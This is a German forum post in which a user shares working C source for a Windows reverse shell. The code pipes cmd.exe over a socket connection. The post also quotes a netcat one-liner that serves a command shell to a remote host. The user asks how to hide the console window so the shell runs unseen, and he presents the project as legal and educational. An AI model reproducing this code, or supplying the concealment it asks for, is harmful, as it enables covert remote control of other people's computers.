Also bevors losgeht "Der macht bösartige Software etc", gleich vorweg: "Ich bin am Programmieren einer Windows Reverse Shell.
Ebenfalls gleich vorweg: Das Projekt dient einem legalen Zweck und rein dem Verständnis. Sollte es ein 1337 hacking shit sein, könnte ich auch einfach
netcat ip port -e cmd.exe
machen und das wärs. Also mein Code soweit:
|
Quellcode
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")
void main(int argc, char *argv[])
{
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in adik_sin;
memset(&adik_sin,0,sizeof(adik_sin));
memset(&si,0,sizeof(si));
WSAStartup(MAKEWORD(2,0),&wsaData);
hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
adik_sin.sin_family = AF_INET;
adik_sin.sin_port = htons(55);
adik_sin.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
ExitProcess(0);
}
|
Wenn ich den in eine Forms Application einbaue und das Windows Forms Fenster nicht anzeigen lasse, so zeigt sich jedoch trotzdem eine Konsole an (cmd.exe). Befehle usw würden funktionieren, nur leider läuft das "Ding" nicht unsichtbar.
Ich könnte natürlich eins der tollen hide-exe Programme nehmen, dies zahlreich für Windows gibt, aber ich würde gern selber verstehen, wie man sowas in den Hintergrund bringt.
Grüße aus dem sonnigen Österreich